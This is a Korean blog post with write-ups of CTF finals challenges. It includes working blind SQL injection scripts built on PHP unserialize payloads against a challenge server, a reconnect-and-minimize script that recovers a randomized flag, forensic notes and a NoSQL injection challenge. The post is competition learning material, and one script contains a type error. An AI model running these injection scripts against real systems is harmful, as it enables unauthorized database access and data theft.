카테고리 없음

순천향대학교 제 21회 정보보호 페스티벌 본선 풀이 및 후기

Namchun 2023. 8. 29. 00:07

운좋게 11등으로 본선 진출을 하여 충남 아산에 있는 순천향대까지 직접 가서 대회를 하게 되었다.

생각보다 캠퍼스도 이쁘고 쾌적한 것 같아서 마음에 들었다.

 

본선에서는 Web 문제 하나와 Crypto 문제 하나로 총 2문제를 풀었고 나머지 아깝게 풀지 못한 문제도 풀이를 해보겠다.

Web

C0nV3rT

<?php
highlight_file(__FILE__);
require('config.php');

if(isset($_GET['sql'])) {
    $unserialized = unserialize($_GET['sql']);
    if(strlen($unserialized['sql1']) > 15) {
        exit();
    }
    $query = "SELECT * FROM yisf WHERE convert(" . $unserialized['sql1'] . ")=  '" . $unserialized['sql2'] . "';";
    echo "<hr>query : <strong>{$query}</strong><hr><br>";
    $result = @mysqli_fetch_array(mysqli_query($conn, $query));
    if ($result) {
        echo "<h2>Search {$result[0]}!</h2>";
    }
}

if (isset($_GET['flag_check'])) {
    $flag_check = $_GET['flag_check'];
    $query = "select flag from yisf";
    $res = @mysqli_fetch_array(mysqli_query($conn, $query));
    if ($res['flag'] === $flag_check) {
        echo "Congratulations that's the right FLAG !!!";
    }
    else {
        echo "Wrong FLAG :(";
    }
}
?>

index.php를 읽어보면

 

$_GET['sql']을 통해 값을 받아와 쿼리문을 실행하고 결과가 있다면 result[0]!을 출력해준다

따라서 blind sql injection을 사용할 수 있고 밑에 있는 flag_check는 그냥 fake라는 것을 알 수 있다.

 

공격 방법을 생각해보면

우선 sql을 받아와서 unserialized를 해주고 sql 안에 있는 sql1의 값이 15글자를 넘어가는지 체크를 한다

그 다음 sql1 값은 convert 함수에 넣어주고 그 후에 비교하는 값에는 sql2의 값이 들어간다.

 

일단 가장 간단하게 해당 쿼리를 참으로 만들기 위해서는

SELECT * FROM yisf WHERE convert(1, CHAR)='1';

convert 함수에 1과 char라는 인자를 주어 '1'로 만들 수 있고 쿼리의 결과가 참이 된다.

 

그렇다면 저 값을 url로 어떻게 전달해야 하는 것인가

우선 sql이라는 인자로 값을 전달 받는데, 이것을 unserialized를 통해 역직렬화를 해준다. 따라서 우리가 보내야 하는 값은

Array
(
    [sql1] => "1, CHAR"
    [sql2] => "1'"
)

이런 형태로 보내야 한다

 

이걸 serialized 해보면

<?php
	$data = array('sql1' => "1, CHAR", 'sql2' => "1'");
	$serialized_data = serialize($data);
	$encoded_data = urlencode($serialized_data);
	
	echo "?sql=" . $serialized_data . "\n";
?>

?sql=a:2:{s:4:"sql1";s:7:"1, CHAR";s:4:"sql2";s:2:"1'";}

이러한 형태로 보내면 될 것이다.

 

이것을 해석해보면

?sql=리스트:리스트의 길이{s:키의 길이:"키값";s:데이터의 길이:"데이터값";s:키의 길이:"키값";s:데이터의 길이:"데이터값"}

이런 식으로 될 것이다.

 

따라서 이것을 이용하여 flag의 길이를 알아내고, flag의 값을 알아보자

SELECT * FROM yisf WHERE convert(1, CHAR)='1' and length(flag) = ?

flag의 길이를 알아내기 위해서는 이런 쿼리를 넣어야 했고 이를 코드로 작성해보면

 

import requests

for i in range(1, 100):
    # 1' and length(flag) = ? -- '";}
    length = len(str(i)) + 30
    url = 'http://211.229.232.104/?sql=a:2:{s:4:"sql1";s:7:"1, CHAR";s:4:"sql2";s:' + length + ':"' + f"1' and length(flag) = {i} -- '" + '";}'

    r = requests.get(url)

    if 'Search 1!' in r.text:
        print(i)
        break

flag의 길이를 알 수 있었다

 

import requests

password = ''
for i in range(1, 45):
    for ct in range(32, 129):
        length = str(37 + len(str(ct)) + len(str(i)))
        url = 'http://211.229.232.104/?sql=a:2:{s:4:"sql1";s:7:"1, CHAR";s:4:"sql2";s:' + length + ':"' + f"1' and ascii(substr(flag,{i},1)) = {ct} -- '" + '";}'

        r = requests.get(url)

        if 'Search 1!' in r.text:
            password += chr(ct)
            print(password)

마지막으로 이런 코드를 통해 flag를 알아낼 수 있었다

 

yisf{sql_1nj3cti0n_v1a_c0nvert_funct1on}

Crypto

fuzzy flag

우선 해당 문제를 처음으로 풀게 되어 굉장히 기뻤었다

 

문제는 간단하게 ssh에 접속하면 엄청나게 많은 숫자를 무작위로 출력해주는 듯 싶었다

from secrets import randbelow
import string

with open('flag', 'rb') as f:
    flag = f.read()
    
fuzzy = [c + randbelow(52) for c in flag]

print(fuzzy)

코드를 살펴보니 굉장히 간단하게 되어있었고 해석을 해보자면 flag에서 한글자씩 꺼내서 랜덤한 값과 더하여 새로운 리스트를 만들고 출력을 해준다

 

여기서 랜덤한 값은 0 부터 52 미만의 숫자를 return해주었기에, 언젠가는 flag + 0을 연산하여 그냥 flag의 값이 나올 예정이었다.

from pwn import *
from tqdm import tqdm
import time
import ast


comp_list = [999 for _ in range(185)]
# comp_list = [999] * 185

for i in tqdm(range(1, 10000)):
    p = remote('211.229.232.99', 31313)
    data = p.recv()
    
    byte_string = data.decode()
    # ls = eval(byte_string)
    new_list = ast.literal_eval(byte_string)

    for i, v in enumerate(new_list):
        if v < comp_list[i]: comp_list[i] = v

    # time.sleep(0.1)
    [print(chr(i), end='') for i in comp_list]

따라서 이런 식의 코드를 작성하여 이전의 리스트와 현재 리스트를 비교해서 작은 값으로 계속 갱신하여 출력해주도록 하였다.

 

YISF{my_two_s0luti0ns:_0ne_where_the_average_0f_rand0m_numbers_remains_constant,_and_an0ther_where_the_upper_and_1ower_bounds_of_random_numbers_remain_c0nstant.What_method_d1d_you_use?}

 

그 다음은 풀지 못한 문제를 풀어보고, 추측해보는 시간을 가져보겠다

Forensic

#1

해당 문제는

- securesearcher라는 사람이 kimky1234에게 제일 처음 메일을 보낸 시각

- securesearcher라는 사람이 kimky1234의 이메일을 알 수 있었던 url

을 구하면 되는 문제였다

 

문제 파일이 현재는 없어서 이미지가 따로 없고, 생략되는 부분이 많아서

풀이에는 적합하지 않을 수 있지만, 나중에 또 이런 문제가 나오면 활용할 수 있을 것 같아 조금이라도 정리하려고 한다

 

우선 kimky1234에게 처음 메일을 보낸 시각을 구하기 위해

https://m.blog.naver.com/sunkwang0307/221758781125

이 블로그 내용을 토대로 C:\Users\user\AppData\Local\Microsoft\Outlook에 위치한 계정@com.ost 파일을 export하였고

해당 ost 파일은 SysTools OST Viewer로 열어본 결과

 

Sent Items에서 securesearcher가 보낸 메일들을 확인할 수 있었고

 

처음으로 보낸 메일의 시각을 알 수 있었다

 

또한 문제 설명 파일에서는 'securesearcher라는 사람이 facebook, twitter, naver blog 등에 적혀있는 메일을 통해 알아냈을 것이라고 생각한다'라는 내용이 있었다.

 

이를 위해 chrome 기록도 살펴보고, volatility도 해보았는데 오류가 나서 결국 찾지 못하였다

나중에 다른 사람의 풀이를 들어보니 리눅스의 strings를 사용하여 vmem에 bloggrep으로 뽑아보니 kimky1234의 blog 주소를 얻을 수 있었다고 한다

 

허허;

Web

library

from flask import Flask, render_template, request
import json

app = Flask(__name__)
app.config["MONGO_URI"] = "mongodb://mongodb:27017/mydb"
app.secret_key = b'*************'
mongo = PyMongo(app)

collection = mongo.db.library

@app.route('/')
def home():
   return render_template('home.html')

@app.route('/book_search')
def book_search():
   return render_template('book_search.html')

#검색 
@app.route('/search_action', methods = ['get']) 
def search():
   try:
      book_num = request.args["no"]

      query = '{{"num" : {0}}}'.format(book_num)
      
      # bypass
      results = collection.find(json.loads(query))

      return render_template('book_search.html', data=results)
    
   except:
      return render_template('fail.html')
    
@app.route('/guide')
def guide():
   return render_template('guide.html')

if __name__ == '__main__':
   app.run(host='0.0.0.0', port=8770)

코드를 보면 nosql injection 기법으로 보인다

지금 생각해보면 간단하게 풀 수 있을 것 같은데 그때는 왜 못 풀었는지 모르겠다

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

또한 해당 레포에서 nosql 말고도 다른 웹해킹 payload들이 있으니 다음번에는 한번 참고해봐야겠다


사실 대회가 끝나고 9등의 순위로 딱 수상권의 끝에 자리하였는데

이렇게 본선에 와서 수상해보는게 처음인지라 대회 종료와 함께 writeup 제출도 마감이 되는 것을 까먹고

순위가 확정되자마자 바로 지인들에게 가서 기쁨을 만끽하고 있었다.

 

그러고 한 3분 정도가 지나고 나서 writeup 제출을 안 했다는 것을 깨닫고 운영진 분께 말씀을 드려봤지만 돌아오는 대답은 변하지 않았다. 미리 여러번 공지했기 때문에 어쩔 수 없이 점수가 인정이 안된다고

 

사실 처음에는 대회 종료와 writeup 제출이 동시에 끝나는 이런 시스템을 원망하였지만,

전적으로 대회 규정을 잊어버린 내 잘못이라는 생각이 들어 인정하게 되었고, 앞으로는 무슨 일을 할 때 꼼꼼하게 확인해보고 미리미리 하는 습관을 가져야겠다는 교훈을 얻을 수 있었다.